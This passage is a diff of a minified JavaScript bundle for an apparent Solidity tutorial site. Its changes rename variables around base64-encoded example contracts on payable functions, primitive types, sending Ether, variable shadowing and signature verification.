cmFuc2ZlciBFdGhlciBmcm9tIHRoaXMgY29udHJhY3QgdG8gYWRkcmVzcyBmcm9tIGlucHV0CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHBheWFibGUgX3RvLCB1aW50MjU2IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgLy8gTm90ZSB0aGF0ICJ0byIgaXMgZGVjbGFyZWQgYXMgcGF5YWJsZQogICAgICAgIChib29sIHN1Y2Nlc3MsKSA9IF90by5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="}],YW=`

                                        Functions and addresses declared payable can receive ether into the contract.

                                        +`,ZW=({prev:s,next:a})=>r.jsx(A,{version:yW,title:mW,description:bW,html:kW,prev:s,next:a,codes:wW}),WW="0.8.24",BW="Payable",GW="An example of how to use the keyword payable in Solidity",VW=[{fileName:"Payable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFBheWFibGUgewogICAgLy8gUGF5YWJsZSBhZGRyZXNzIGNhbiBzZW5kIEV0aGVyIHZpYSB0cmFuc2ZlciBvciBzZW5kCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIG93bmVyOwoKICAgIC8vIFBheWFibGUgY29uc3RydWN0b3IgY2FuIHJlY2VpdmUgRXRoZXIKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGRlcG9zaXQgRXRoZXIgaW50byB0aGlzIGNvbnRyYWN0LgogICAgLy8gQ2FsbCB0aGlzIGZ1bmN0aW9uIGFsb25nIHdpdGggc29tZSBFdGhlci4KICAgIC8vIFRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3Qgd2lsbCBiZSBhdXRvbWF0aWNhbGx5IHVwZGF0ZWQuCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUge30KCiAgICAvLyBDYWxsIHRoaXMgZnVuY3Rpb24gYWxvbmcgd2l0aCBzb21lIEV0aGVyLgogICAgLy8gVGhlIGZ1bmN0aW9uIHdpbGwgdGhyb3cgYW4gZXJyb3Igc2luY2UgdGhpcyBmdW5jdGlvbiBpcyBub3QgcGF5YWJsZS4KICAgIGZ1bmN0aW9uIG5vdFBheWFibGUoKSBwdWJsaWMge30KCiAgICAvLyBGdW5jdGlvbiB0byB3aXRoZHJhdyBhbGwgRXRoZXIgZnJvbSB0aGlzIGNvbnRyYWN0LgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIC8vIGdldCB0aGUgYW1vdW50IG9mIEV0aGVyIHN0b3JlZCBpbiB0aGlzIGNvbnRyYWN0CiAgICAgICAgdWludDI1NiBhbW91bnQgPSBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CgogICAgICAgIC8vIHNlbmQgYWxsIEV0aGVyIHRvIG93bmVyCiAgICAgICAgKGJvb2wgc3VjY2VzcywpID0gb3duZXIuY2FsbHt2YWx1ZTogYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICAvLyBGdW5jdGlvbiB0byB0cmFuc2ZlciBFdGhlciBmcm9tIHRoaXMgY29udHJhY3QgdG8gYWRkcmVzcyBmcm9tIGlucHV0CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHBheWFibGUgX3RvLCB1aW50MjU2IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgLy8gTm90ZSB0aGF0ICJ0byIgaXMgZGVjbGFyZWQgYXMgcGF5YWJsZQogICAgICAgIChib29sIHN1Y2Nlc3MsKSA9IF90by5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="}],fW=`

                                        Functions and addresses declared payable can receive ether into the contract.

                                        // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -11669,7 +11669,7 @@ you can't send ether.
                                        
         require(success, "Failed to send Ether");
     }
 }
-
                                        `,XW=({prev:s,next:a})=>r.jsx(A,{version:BW,title:GW,description:VW,html:YW,prev:s,next:a,codes:fW}),RW="0.8.24",vW="Primitive Data Types",NW="Primitive data types",HW=[{fileName:"Primitives.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFByaW1pdGl2ZXMgewogICAgYm9vbCBwdWJsaWMgYm9vID0gdHJ1ZTsKCiAgICAvKgogICAgdWludCBzdGFuZHMgZm9yIHVuc2lnbmVkIGludGVnZXIsIG1lYW5pbmcgbm9uIG5lZ2F0aXZlIGludGVnZXJzCiAgICBkaWZmZXJlbnQgc2l6ZXMgYXJlIGF2YWlsYWJsZQogICAgICAgIHVpbnQ4ICAgcmFuZ2VzIGZyb20gMCB0byAyICoqIDggLSAxCiAgICAgICAgdWludDE2ICByYW5nZXMgZnJvbSAwIHRvIDIgKiogMTYgLSAxCiAgICAgICAgLi4uCiAgICAgICAgdWludDI1NiByYW5nZXMgZnJvbSAwIHRvIDIgKiogMjU2IC0gMQogICAgKi8KICAgIHVpbnQ4IHB1YmxpYyB1OCA9IDE7CiAgICB1aW50MjU2IHB1YmxpYyB1MjU2ID0gNDU2OwogICAgdWludDI1NiBwdWJsaWMgdSA9IDEyMzsgLy8gdWludCBpcyBhbiBhbGlhcyBmb3IgdWludDI1NgoKICAgIC8qCiAgICBOZWdhdGl2ZSBudW1iZXJzIGFyZSBhbGxvd2VkIGZvciBpbnQgdHlwZXMuCiAgICBMaWtlIHVpbnQsIGRpZmZlcmVudCByYW5nZXMgYXJlIGF2YWlsYWJsZSBmcm9tIGludDggdG8gaW50MjU2CiAgICAKICAgIGludDI1NiByYW5nZXMgZnJvbSAtMiAqKiAyNTUgdG8gMiAqKiAyNTUgLSAxCiAgICBpbnQxMjggcmFuZ2VzIGZyb20gLTIgKiogMTI3IHRvIDIgKiogMTI3IC0gMQogICAgKi8KICAgIGludDggcHVibGljIGk4ID0gLTE7CiAgICBpbnQyNTYgcHVibGljIGkyNTYgPSA0NTY7CiAgICBpbnQyNTYgcHVibGljIGkgPSAtMTIzOyAvLyBpbnQgaXMgc2FtZSBhcyBpbnQyNTYKCiAgICAvLyBtaW5pbXVtIGFuZCBtYXhpbXVtIG9mIGludAogICAgaW50MjU2IHB1YmxpYyBtaW5JbnQgPSB0eXBlKGludDI1NikubWluOwogICAgaW50MjU2IHB1YmxpYyBtYXhJbnQgPSB0eXBlKGludDI1NikubWF4OwoKICAgIGFkZHJlc3MgcHVibGljIGFkZHIgPSAweENBMzViN2Q5MTU0NThFRjU0MGFEZTYwNjhkRmUyRjQ0RThmYTczM2M7CgogICAgLyoKICAgIEluIFNvbGlkaXR5LCB0aGUgZGF0YSB0eXBlIGJ5dGUgcmVwcmVzZW50IGEgc2VxdWVuY2Ugb2YgYnl0ZXMuIAogICAgU29saWRpdHkgcHJlc2VudHMgdHdvIHR5cGUgb2YgYnl0ZXMgdHlwZXMgOgoKICAgICAtIGZpeGVkLXNpemVkIGJ5dGUgYXJyYXlzCiAgICAgLSBkeW5hbWljYWxseS1zaXplZCBieXRlIGFycmF5cy4KICAgICAKICAgICBUaGUgdGVybSBieXRlcyBpbiBTb2xpZGl0eSByZXByZXNlbnRzIGEgZHluYW1pYyBhcnJheSBvZiBieXRlcy4gCiAgICAgSXTigJlzIGEgc2hvcnRoYW5kIGZvciBieXRlW10gLgogICAgKi8KICAgIGJ5dGVzMSBhID0gMHhiNTsgLy8gIFsxMDExMDEwMV0KICAgIGJ5dGVzMSBiID0gMHg1NjsgLy8gIFswMTAxMDExMF0KCiAgICAvLyBEZWZhdWx0IHZhbHVlcwogICAgLy8gVW5hc3NpZ25lZCB2YXJpYWJsZXMgaGF2ZSBhIGRlZmF1bHQgdmFsdWUKICAgIGJvb2wgcHVibGljIGRlZmF1bHRCb287IC8vIGZhbHNlCiAgICB1aW50MjU2IHB1YmxpYyBkZWZhdWx0VWludDsgLy8gMAogICAgaW50MjU2IHB1YmxpYyBkZWZhdWx0SW50OyAvLyAwCiAgICBhZGRyZXNzIHB1YmxpYyBkZWZhdWx0QWRkcjsgLy8gMHgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCn0K"}],FW=`

                                        Here we introduce you to some primitive data types available in Solidity.

                                        +`,YW=({prev:s,next:a})=>r.jsx(A,{version:WW,title:BW,description:GW,html:fW,prev:s,next:a,codes:VW}),XW="0.8.24",vW="Primitive Data Types",RW="Primitive data types",NW=[{fileName:"Primitives.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFByaW1pdGl2ZXMgewogICAgYm9vbCBwdWJsaWMgYm9vID0gdHJ1ZTsKCiAgICAvKgogICAgdWludCBzdGFuZHMgZm9yIHVuc2lnbmVkIGludGVnZXIsIG1lYW5pbmcgbm9uIG5lZ2F0aXZlIGludGVnZXJzCiAgICBkaWZmZXJlbnQgc2l6ZXMgYXJlIGF2YWlsYWJsZQogICAgICAgIHVpbnQ4ICAgcmFuZ2VzIGZyb20gMCB0byAyICoqIDggLSAxCiAgICAgICAgdWludDE2ICByYW5nZXMgZnJvbSAwIHRvIDIgKiogMTYgLSAxCiAgICAgICAgLi4uCiAgICAgICAgdWludDI1NiByYW5nZXMgZnJvbSAwIHRvIDIgKiogMjU2IC0gMQogICAgKi8KICAgIHVpbnQ4IHB1YmxpYyB1OCA9IDE7CiAgICB1aW50MjU2IHB1YmxpYyB1MjU2ID0gNDU2OwogICAgdWludDI1NiBwdWJsaWMgdSA9IDEyMzsgLy8gdWludCBpcyBhbiBhbGlhcyBmb3IgdWludDI1NgoKICAgIC8qCiAgICBOZWdhdGl2ZSBudW1iZXJzIGFyZSBhbGxvd2VkIGZvciBpbnQgdHlwZXMuCiAgICBMaWtlIHVpbnQsIGRpZmZlcmVudCByYW5nZXMgYXJlIGF2YWlsYWJsZSBmcm9tIGludDggdG8gaW50MjU2CiAgICAKICAgIGludDI1NiByYW5nZXMgZnJvbSAtMiAqKiAyNTUgdG8gMiAqKiAyNTUgLSAxCiAgICBpbnQxMjggcmFuZ2VzIGZyb20gLTIgKiogMTI3IHRvIDIgKiogMTI3IC0gMQogICAgKi8KICAgIGludDggcHVibGljIGk4ID0gLTE7CiAgICBpbnQyNTYgcHVibGljIGkyNTYgPSA0NTY7CiAgICBpbnQyNTYgcHVibGljIGkgPSAtMTIzOyAvLyBpbnQgaXMgc2FtZSBhcyBpbnQyNTYKCiAgICAvLyBtaW5pbXVtIGFuZCBtYXhpbXVtIG9mIGludAogICAgaW50MjU2IHB1YmxpYyBtaW5JbnQgPSB0eXBlKGludDI1NikubWluOwogICAgaW50MjU2IHB1YmxpYyBtYXhJbnQgPSB0eXBlKGludDI1NikubWF4OwoKICAgIGFkZHJlc3MgcHVibGljIGFkZHIgPSAweENBMzViN2Q5MTU0NThFRjU0MGFEZTYwNjhkRmUyRjQ0RThmYTczM2M7CgogICAgLyoKICAgIEluIFNvbGlkaXR5LCB0aGUgZGF0YSB0eXBlIGJ5dGUgcmVwcmVzZW50IGEgc2VxdWVuY2Ugb2YgYnl0ZXMuIAogICAgU29saWRpdHkgcHJlc2VudHMgdHdvIHR5cGUgb2YgYnl0ZXMgdHlwZXMgOgoKICAgICAtIGZpeGVkLXNpemVkIGJ5dGUgYXJyYXlzCiAgICAgLSBkeW5hbWljYWxseS1zaXplZCBieXRlIGFycmF5cy4KICAgICAKICAgICBUaGUgdGVybSBieXRlcyBpbiBTb2xpZGl0eSByZXByZXNlbnRzIGEgZHluYW1pYyBhcnJheSBvZiBieXRlcy4gCiAgICAgSXTigJlzIGEgc2hvcnRoYW5kIGZvciBieXRlW10gLgogICAgKi8KICAgIGJ5dGVzMSBhID0gMHhiNTsgLy8gIFsxMDExMDEwMV0KICAgIGJ5dGVzMSBiID0gMHg1NjsgLy8gIFswMTAxMDExMF0KCiAgICAvLyBEZWZhdWx0IHZhbHVlcwogICAgLy8gVW5hc3NpZ25lZCB2YXJpYWJsZXMgaGF2ZSBhIGRlZmF1bHQgdmFsdWUKICAgIGJvb2wgcHVibGljIGRlZmF1bHRCb287IC8vIGZhbHNlCiAgICB1aW50MjU2IHB1YmxpYyBkZWZhdWx0VWludDsgLy8gMAogICAgaW50MjU2IHB1YmxpYyBkZWZhdWx0SW50OyAvLyAwCiAgICBhZGRyZXNzIHB1YmxpYyBkZWZhdWx0QWRkcjsgLy8gMHgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCn0K"}],HW=`

                                        Here we introduce you to some primitive data types available in Solidity.

                                        • boolean
                                        • uint256
                                          • @@ -11731,7 +11731,7 @@ you can't send ether.

                                          int256 public defaultInt; // 0 address public defaultAddr; // 0x0000000000000000000000000000000000000000 } -`,KW=({prev:s,next:a})=>r.jsx(A,{version:RW,title:vW,description:NW,html:FW,prev:s,next:a,codes:HW}),MW="0.8.24",SW="Sending Ether (transfer, send, call)",xW="An example of sending Ether in Solidity",JW=[{fileName:"SendingEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlY2VpdmVFdGhlciB7CiAgICAvKgogICAgV2hpY2ggZnVuY3Rpb24gaXMgY2FsbGVkLCBmYWxsYmFjaygpIG9yIHJlY2VpdmUoKT8KCiAgICAgICAgICAgc2VuZCBFdGhlcgogICAgICAgICAgICAgICB8CiAgICAgICAgIG1zZy5kYXRhIGlzIGVtcHR5PwogICAgICAgICAgICAgIC8gXAogICAgICAgICAgICB5ZXMgIG5vCiAgICAgICAgICAgIC8gICAgIFwKICAgIHJlY2VpdmUoKSBleGlzdHM/ICBmYWxsYmFjaygpCiAgICAgICAgIC8gICBcCiAgICAgICAgeWVzICAgbm8KICAgICAgICAvICAgICAgXAogICAgcmVjZWl2ZSgpICAgZmFsbGJhY2soKQogICAgKi8KCiAgICAvLyBGdW5jdGlvbiB0byByZWNlaXZlIEV0aGVyLiBtc2cuZGF0YSBtdXN0IGJlIGVtcHR5CiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIG1zZy5kYXRhIGlzIG5vdCBlbXB0eQogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgfQp9Cgpjb250cmFjdCBTZW5kRXRoZXIgewogICAgZnVuY3Rpb24gc2VuZFZpYVRyYW5zZmVyKGFkZHJlc3MgcGF5YWJsZSBfdG8pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIG5vIGxvbmdlciByZWNvbW1lbmRlZCBmb3Igc2VuZGluZyBFdGhlci4KICAgICAgICBfdG8udHJhbnNmZXIobXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZW5kVmlhU2VuZChhZGRyZXNzIHBheWFibGUgX3RvKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgLy8gU2VuZCByZXR1cm5zIGEgYm9vbGVhbiB2YWx1ZSBpbmRpY2F0aW5nIHN1Y2Nlc3Mgb3IgZmFpbHVyZS4KICAgICAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIG5vdCByZWNvbW1lbmRlZCBmb3Igc2VuZGluZyBFdGhlci4KICAgICAgICBib29sIHNlbnQgPSBfdG8uc2VuZChtc2cudmFsdWUpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gc2VuZFZpYUNhbGwoYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIC8vIENhbGwgcmV0dXJucyBhIGJvb2xlYW4gdmFsdWUgaW5kaWNhdGluZyBzdWNjZXNzIG9yIGZhaWx1cmUuCiAgICAgICAgLy8gVGhpcyBpcyB0aGUgY3VycmVudCByZWNvbW1lbmRlZCBtZXRob2QgdG8gdXNlLgogICAgICAgIChib29sIHNlbnQsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF90by5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],zW=`

                                          How to send Ether?

                                          +`,KW=({prev:s,next:a})=>r.jsx(A,{version:XW,title:vW,description:RW,html:HW,prev:s,next:a,codes:NW}),FW="0.8.24",MW="Sending Ether (transfer, send, call)",SW="An example of sending Ether in Solidity",xW=[{fileName:"SendingEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlY2VpdmVFdGhlciB7CiAgICAvKgogICAgV2hpY2ggZnVuY3Rpb24gaXMgY2FsbGVkLCBmYWxsYmFjaygpIG9yIHJlY2VpdmUoKT8KCiAgICAgICAgICAgc2VuZCBFdGhlcgogICAgICAgICAgICAgICB8CiAgICAgICAgIG1zZy5kYXRhIGlzIGVtcHR5PwogICAgICAgICAgICAgIC8gXAogICAgICAgICAgICB5ZXMgIG5vCiAgICAgICAgICAgIC8gICAgIFwKICAgIHJlY2VpdmUoKSBleGlzdHM/ICBmYWxsYmFjaygpCiAgICAgICAgIC8gICBcCiAgICAgICAgeWVzICAgbm8KICAgICAgICAvICAgICAgXAogICAgcmVjZWl2ZSgpICAgZmFsbGJhY2soKQogICAgKi8KCiAgICAvLyBGdW5jdGlvbiB0byByZWNlaXZlIEV0aGVyLiBtc2cuZGF0YSBtdXN0IGJlIGVtcHR5CiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIG1zZy5kYXRhIGlzIG5vdCBlbXB0eQogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgfQp9Cgpjb250cmFjdCBTZW5kRXRoZXIgewogICAgZnVuY3Rpb24gc2VuZFZpYVRyYW5zZmVyKGFkZHJlc3MgcGF5YWJsZSBfdG8pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIG5vIGxvbmdlciByZWNvbW1lbmRlZCBmb3Igc2VuZGluZyBFdGhlci4KICAgICAgICBfdG8udHJhbnNmZXIobXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZW5kVmlhU2VuZChhZGRyZXNzIHBheWFibGUgX3RvKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgLy8gU2VuZCByZXR1cm5zIGEgYm9vbGVhbiB2YWx1ZSBpbmRpY2F0aW5nIHN1Y2Nlc3Mgb3IgZmFpbHVyZS4KICAgICAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIG5vdCByZWNvbW1lbmRlZCBmb3Igc2VuZGluZyBFdGhlci4KICAgICAgICBib29sIHNlbnQgPSBfdG8uc2VuZChtc2cudmFsdWUpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gc2VuZFZpYUNhbGwoYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIC8vIENhbGwgcmV0dXJucyBhIGJvb2xlYW4gdmFsdWUgaW5kaWNhdGluZyBzdWNjZXNzIG9yIGZhaWx1cmUuCiAgICAgICAgLy8gVGhpcyBpcyB0aGUgY3VycmVudCByZWNvbW1lbmRlZCBtZXRob2QgdG8gdXNlLgogICAgICAgIChib29sIHNlbnQsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF90by5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],JW=`

                                          How to send Ether?

                                          You can send Ether to other contracts by

                                          • transfer (2300 gas, throws error)
                                            • @@ -11803,7 +11803,7 @@ you can't send ether.

                                            require(sent, "Failed to send Ether"); } } -`,DW=({prev:s,next:a})=>r.jsx(A,{version:MW,title:SW,description:xW,html:zW,prev:s,next:a,codes:JW}),EW="0.8.24",QW="Shadowing Inherited State Variables",TW="An example of shadowing state variables by inheritance",UW=[{fileName:"Shadow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEEgewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkNvbnRyYWN0IEEiOwoKICAgIGZ1bmN0aW9uIGdldE5hbWUoKSBwdWJsaWMgdmlldyByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG5hbWU7CiAgICB9Cn0KCi8vIFNoYWRvd2luZyBpcyBkaXNhbGxvd2VkIGluIFNvbGlkaXR5IDAuNgovLyBUaGlzIHdpbGwgbm90IGNvbXBpbGUKLy8gY29udHJhY3QgQiBpcyBBIHsKLy8gICAgIHN0cmluZyBwdWJsaWMgbmFtZSA9ICJDb250cmFjdCBCIjsKLy8gfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIFRoaXMgaXMgdGhlIGNvcnJlY3Qgd2F5IHRvIG92ZXJyaWRlIGluaGVyaXRlZCBzdGF0ZSB2YXJpYWJsZXMuCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBuYW1lID0gIkNvbnRyYWN0IEMiOwogICAgfQoKICAgIC8vIEMuZ2V0TmFtZSByZXR1cm5zICJDb250cmFjdCBDIgp9Cg=="}],_W=`

                                            Unlike functions, state variables cannot be overridden by re-declaring it +`,zW=({prev:s,next:a})=>r.jsx(A,{version:FW,title:MW,description:SW,html:JW,prev:s,next:a,codes:xW}),DW="0.8.24",EW="Shadowing Inherited State Variables",QW="An example of shadowing state variables by inheritance",TW=[{fileName:"Shadow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEEgewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkNvbnRyYWN0IEEiOwoKICAgIGZ1bmN0aW9uIGdldE5hbWUoKSBwdWJsaWMgdmlldyByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG5hbWU7CiAgICB9Cn0KCi8vIFNoYWRvd2luZyBpcyBkaXNhbGxvd2VkIGluIFNvbGlkaXR5IDAuNgovLyBUaGlzIHdpbGwgbm90IGNvbXBpbGUKLy8gY29udHJhY3QgQiBpcyBBIHsKLy8gICAgIHN0cmluZyBwdWJsaWMgbmFtZSA9ICJDb250cmFjdCBCIjsKLy8gfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIFRoaXMgaXMgdGhlIGNvcnJlY3Qgd2F5IHRvIG92ZXJyaWRlIGluaGVyaXRlZCBzdGF0ZSB2YXJpYWJsZXMuCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBuYW1lID0gIkNvbnRyYWN0IEMiOwogICAgfQoKICAgIC8vIEMuZ2V0TmFtZSByZXR1cm5zICJDb250cmFjdCBDIgp9Cg=="}],UW=`

                                            Unlike functions, state variables cannot be overridden by re-declaring it in the child contract.

                                            Let's learn how to correctly override inherited state variables.

                                            // SPDX-License-Identifier: MIT
@@ -11831,7 +11831,7 @@ in the child contract.
                                            
 
     // C.getName returns "Contract C"
 }
-
                                            `,LW=({prev:s,next:a})=>r.jsx(A,{version:EW,title:QW,description:TW,html:_W,prev:s,next:a,codes:UW}),OW="0.8.24",PW="Verifying Signature",$W="An example of how to verify signatures in Solidity",qW=[{fileName:"Signature.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIFNpZ25hdHVyZSBWZXJpZmljYXRpb24KCkhvdyB0byBTaWduIGFuZCBWZXJpZnkKIyBTaWduaW5nCjEuIENyZWF0ZSBtZXNzYWdlIHRvIHNpZ24KMi4gSGFzaCB0aGUgbWVzc2FnZQozLiBTaWduIHRoZSBoYXNoIChvZmYgY2hhaW4sIGtlZXAgeW91ciBwcml2YXRlIGtleSBzZWNyZXQpCgojIFZlcmlmeQoxLiBSZWNyZWF0ZSBoYXNoIGZyb20gdGhlIG9yaWdpbmFsIG1lc3NhZ2UKMi4gUmVjb3ZlciBzaWduZXIgZnJvbSBzaWduYXR1cmUgYW5kIGhhc2gKMy4gQ29tcGFyZSByZWNvdmVyZWQgc2lnbmVyIHRvIGNsYWltZWQgc2lnbmVyCiovCgpjb250cmFjdCBWZXJpZnlTaWduYXR1cmUgewogICAgLyogMS4gVW5sb2NrIE1ldGFNYXNrIGFjY291bnQKICAgIGV0aGVyZXVtLmVuYWJsZSgpCiAgICAqLwoKICAgIC8qIDIuIEdldCBtZXNzYWdlIGhhc2ggdG8gc2lnbgogICAgZ2V0TWVzc2FnZUhhc2goCiAgICAgICAgMHgxNDcyM0EwOUFDZmY2RDJBNjBEY2RGN2FBNEFGZjMwOEZEREMxNjBDLAogICAgICAgIDEyMywKICAgICAgICAiY29mZmVlIGFuZCBkb251dHMiLAogICAgICAgIDEKICAgICkKCiAgICBoYXNoID0gIjB4Y2YzNmFjNGY5N2RjMTBkOTFmYzJjYmIyMGQ3MThlOTRhOGNiZmUwZjgyZWFlZGM2YTRhYTM4OTQ2ZmI3OTdjZCIKICAgICovCiAgICBmdW5jdGlvbiBnZXRNZXNzYWdlSGFzaCgKICAgICAgICBhZGRyZXNzIF90bywKICAgICAgICB1aW50MjU2IF9hbW91bnQsCiAgICAgICAgc3RyaW5nIG1lbW9yeSBfbWVzc2FnZSwKICAgICAgICB1aW50MjU2IF9ub25jZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKF90bywgX2Ftb3VudCwgX21lc3NhZ2UsIF9ub25jZSkpOwogICAgfQoKICAgIC8qIDMuIFNpZ24gbWVzc2FnZSBoYXNoCiAgICAjIHVzaW5nIGJyb3dzZXIKICAgIGFjY291bnQgPSAiY29weSBwYXN0ZSBhY2NvdW50IG9mIHNpZ25lciBoZXJlIgogICAgZXRoZXJldW0ucmVxdWVzdCh7IG1ldGhvZDogInBlcnNvbmFsX3NpZ24iLCBwYXJhbXM6IFthY2NvdW50LCBoYXNoXX0pLnRoZW4oY29uc29sZS5sb2cpCgogICAgIyB1c2luZyB3ZWIzCiAgICB3ZWIzLnBlcnNvbmFsLnNpZ24oaGFzaCwgd2ViMy5ldGguZGVmYXVsdEFjY291bnQsIGNvbnNvbGUubG9nKQoKICAgIFNpZ25hdHVyZSB3aWxsIGJlIGRpZmZlcmVudCBmb3IgZGlmZmVyZW50IGFjY291bnRzCiAgICAweDk5M2RhYjNkZDkxZjVjNmRjMjhlMTc0MzliZTQ3NTQ3OGY1NjM1YzkyYTU2ZTE3ZTgyMzQ5ZDNmYjJmMTY2MTk2ZjQ2NmMwYjRlMGMxNDZmMjg1MjA0ZjBkY2IxM2U1YWU2N2JjMzNmNGI4ODhlYzMyZGZlMGEwNjNlOGYzZjc4MWIKICAgICovCiAgICBmdW5jdGlvbiBnZXRFdGhTaWduZWRNZXNzYWdlSGFzaChieXRlczMyIF9tZXNzYWdlSGFzaCkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICAvKgogICAgICAgIFNpZ25hdHVyZSBpcyBwcm9kdWNlZCBieSBzaWduaW5nIGEga2VjY2FrMjU2IGhhc2ggd2l0aCB0aGUgZm9sbG93aW5nIGZvcm1hdDoKICAgICAgICAiXHgxOUV0aGVyZXVtIFNpZ25lZCBNZXNzYWdlXG4iICsgbGVuKG1zZykgKyBtc2cKICAgICAgICAqLwogICAgICAgIHJldHVybiBrZWNjYWsyNTYoCiAgICAgICAgICAgIGFiaS5lbmNv